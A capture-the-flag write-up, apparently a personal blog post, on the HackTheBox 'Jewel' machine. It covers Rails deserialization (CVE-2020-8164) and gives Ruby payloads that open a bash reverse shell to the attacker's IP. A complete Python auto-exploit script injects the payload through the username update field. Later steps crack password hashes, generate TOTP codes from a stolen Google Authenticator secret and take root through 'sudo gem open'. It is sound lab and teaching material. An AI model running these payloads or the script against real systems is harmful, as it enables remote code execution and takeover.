Home HackTheBox - Jewel
Post
Cancel

HackTheBox - Jewel

Jewel was a good box from HackTheBox. It’s Medium one. I learned a lot with the ruby on rails serialization, was a good practice.

The first shell is trough deserealization on ruby in an update user param. The root you can get with a sudo -l command with 2FA with Google Authenticator.

The auto script is on the post body. Hope you enjoy.

Diagram

Here is the diagram for this machine. It’s a resume from it.

graph TD
    A[Port 8000] -->|Nmap| B[GitWeb]
    B --> |Source Code| C[Ruby - Serialization - CVE-2020-8164]
    D[Port 8080] --> |Nmap| E[Create User]
    E --> |Log In| G[Update Info]
    G --> |Serialization - Params| C
    C --> |Auto Exploit Python| H[Bill Shell]
    H --> |User Hashes| I[Hash Cracked]
    I --> |sudo -l| J[oathtool]
    J --> |gem sudo| K[ROOT]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.211

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 8000

We open it on the browser and see what is being shown.

When tryied to access 10.10.10.211 on the browser.

It seems to be a git page. It is a gitweb page.

After looking for something interesting, we found a commit on a project with a snapshot

We download it and see that we will need to make a code analysis.

After download and extract it we see some hidden folders

Code Analysis

So, let’s start making some code analysis in it to see what we can explore

It has a Gemfile, so we can imagine that it’s running Ruby On Rails.

We start looking for some vunls but did no find anyone. So we looked at the version of apps installed on the Gemfile

And we see that the version of Rails installed maybe vulnerable.

We found a exploit in CVE-2020-8164

Which defines the vulnerability as:

1
A deserialization of untrusted data vulnerability exists in rails < 5.2.4.3, rails < 6.0.3.1 which can allow an attacker to supply information can be inadvertently leaked fromStrong Parameters.

We start looking for PoCs or more explanation about how this vulnerability occurs.

We find some interesting sites. HackerOne, and this PoC on GitHub.

The payload we found is this

pay.rb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
require 'erb'
require 'uri'
require 'active_support'
require 'active_support/core_ext'

code = '`/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.20/4444 0>&1"`'

erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1

payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)

puts URI.encode_www_form(payload: payload)

Now, we just need to find the place to put it.

The flaw can be spotted in “users_controller.rb” file on line number 37.

We need to find it on the webapp now.

Port 8080

Now, to find the place to put our payload we start enum the port 8080

How we already now that we need to get the user_controllers.rb it get easier to exploit

We create a normal user on the server to see all it’s funcionalities

We look at the vulnerable source code the following message

Your account was updated successfully

And after we found the upadate function on the website, we can trigger it

So, we just need to find the correct params to exploit it

1
@current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}

Possibly it’s on the Username param

So we built our exploit to ping us

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
require 'erb'
require 'uri'
require 'active_support'
require 'active_support/core_ext'

code = '`ping -c 5 10.10.14.20`'

erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1

payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)

puts URI.encode_www_form(payload: payload)

We create the payload

Go to the Update User tab on the menu, send the request to Burp and Repeater and change it

The next time we go to the home page, it was triggered

Now, let’s get a reverse shell and automate it to the auto exploit python script

Bill - Auto Shell

First, as always, we will use a python script to build our payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=False)
    parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=False)
    parser.add_argument('-u', '--username', help='Username to target', required=False)
    parser.add_argument('-p', '--password', help='Password value to set', required=False)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

jewel_auto.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto Ruby Deserealizaiton Exploit - Jewel HackTheBox
# Date: 16/09/21

import argparse
import requests
import sys
import socket, telnetlib
from threading import Thread
import os
from bs4 import BeautifulSoup
import urllib.parse
import json

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Set the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport)
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target)
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()

# Create the payload
def createPayload(lhost,lport):
    print("[+] Let's mount the ruby payload !! [+]")
    payload = "require 'erb'\n"
    payload += "require 'uri'\n"
    payload +="require 'active_support'\n"
    payload +="require 'active_support/core_ext'\n"
    payload +="code = '`/bin/bash -c \"/bin/bash -i >& /dev/tcp/%s/%s 0>&1\"`'\n" %(lhost,lport)
    payload +="erb = ERB.allocate\n"
    payload +="erb.instance_variable_set :@src, code\n"
    payload +="erb.instance_variable_set :@filename, '1'\n"
    payload +="erb.instance_variable_set :@lineno, 1\n"
    payload +="payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)\n"
    payload +="puts URI.encode_www_form(payload: payload)"
    f = open("exploit.rb", "w")
    f.write(payload)
    f.close()
    print("[+] Let's execute the ruby script !! [+]")
    global pay_reverse
    pay_reverse = os.popen('ruby exploit.rb').read().strip()[+8:]
    
# Function to get the CSRF TOKEN
def getCSRFToken(rhost):
    # Make csrfMagicToken global
    global csrf_token
    # Make the request to get csrf token
    login_url = 'http://' + rhost + ':8080'
    csrf_page = r.get(login_url, verify=False, proxies=proxies)
    # Get the index of the page, search for csrfMagicToken in it
    index = csrf_page.text.find("csrf-token")
    # Get only the csrfMagicToken in it
    csrf_token = csrf_page.text[index:index+128].split('"')[2]
    return csrf_token
    
# Function to get user ID profile
def getUserId(rhost):
    # Make csrfMagicToken global
    global userid
    # Make the request to get csrf token
    login_url = 'http://' + rhost + ':8080'
    userid_page = r.get(login_url, verify=False, proxies=proxies)
    # Get the index of the page, search for csrfMagicToken in it
    index = userid_page.text.find("users")
    # Get only the csrfMagicToken in it
    userid = userid_page.text[index:index+20].split('"')[0].split('/')[1]
    
# Function to create a user to be exploited on the server
def createUser(rhost):
    url = "http://%s:8080/users" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    getCSRFToken(rhost)
    data = {"utf8": "\xe2\x9c\x93", "authenticity_token": "%s" %csrf_token, "user[username]": "0x4rt3mis", "user[email]": "0x4rt3mis@email.com", "user[password]": "123456", "commit": "Create User"}
    r.post(url, headers=headers, data=data, proxies=proxies)
    
# Function to login
def loginRequest(rhost):
    print("[+] Let's login !! [+]")
    url = "http://%s:8080/login" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    getCSRFToken(rhost)
    data = {"utf8": "\xe2\x9c\x93", "authenticity_token": "%s" %csrf_token, "session[email]": "0x4rt3mis@email.com", "session[password]": "123456", "commit": "Log in"}
    r.post(url, headers=headers, cookies=r.cookies, data=data, proxies=proxies, allow_redirects=True)
    print("[+] Logged in, let's procced !!!! [+]")
    
# Now let's login and send the payload
def sendPayload(rhost,lhost,lport):
    print("[+] Now, let's send the payload !!! [+]")
    # Let's get the userid to change it
    getUserId(rhost)
    # Let's change it and get the reverse shell
    csrf_rhost= "http://" + rhost + ":8080" + "/users/" + userid + "/edit"
    response = r.get(csrf_rhost, proxies=proxies, cookies=r.cookies)
    soup = BeautifulSoup(response.text, 'lxml')
    csrf_token_id = soup.select_one('meta[name="csrf-token"]')['content']
    # Now let's change it
    csrf_token_id_url = urllib.parse.quote(csrf_token_id, safe='')
    rhost = "http://" + rhost + ":8080" + "/users/" + userid
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data_pay = '_method=patch&authenticity_token=' + csrf_token_id_url + '&user%5Busername%5D=' + pay_reverse + '&commit=Update+User'
    r.post(rhost, headers=headers, cookies=r.cookies, data=data_pay, proxies=proxies)
    print("[+] Now, just trigger it!!!! [+]")

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=True)
    parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=True)
    args = parser.parse_args()

    rhost = args.target
    lhost = args.ipaddress
    lport = args.port

    '''Here we call the functions'''
    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Let's create the payload
    createPayload(lhost,lport)
    # Let's create the user
    createUser(rhost)
    # Let's login
    loginRequest(rhost)
    # Now let's send the payload
    sendPayload(rhost,lhost,lport)
    # Trigger
    loginRequest(rhost)

if __name__ == '__main__':
    main()

Once we have an easy shell on this box. Let’s continue our exploration.

Bill –> Root

Let’s start our hunt for root on this box.

Looking at home direcroty from bill we see a .google_authenticator file

We see that is a alphanumeric string

1
2
3
2UQI3R52WFCLE6JTLDCSJYMJH4
" WINDOW_SIZE 17
" TOTP_AUTH

Maybe we use it after. Let’s continue enumerating

So, I ran linpeas

And found nothing explorable

Look for password on the blog folder

Found one interesting file

And some password and users inside it

So, we access the psql

1
psql -h localhost -U rails_dev -d blog_development

So we get the users hash in it

1
select * from users;

We found another hash user in the file

cat dump_2020-08-27.sql

So, let’s hash the tree hashes

1
john hashes.txt --wordlist=list.txt

We found one valid password spongebob

Now, if I try sudo -l it prompts a token

It seems to be done with the google authenticator we found earlier.

On my kali box I installed the OATHTOOL which simulates it for us.

Now we can trigger it

1
oathtool -b --totp '2UQI3R52WFCLE6JTLDCSJYMJH4'

It’s important to see if the time of your box is the same from the jewel box to make sure it works

And we run that and get access to the sudo -l

Looking at gtfobins it’s easy to become root

1
sudo gem open -e "/bin/sh -c /bin/sh" rdoc

This post is licensed under CC BY 4.0 by the author.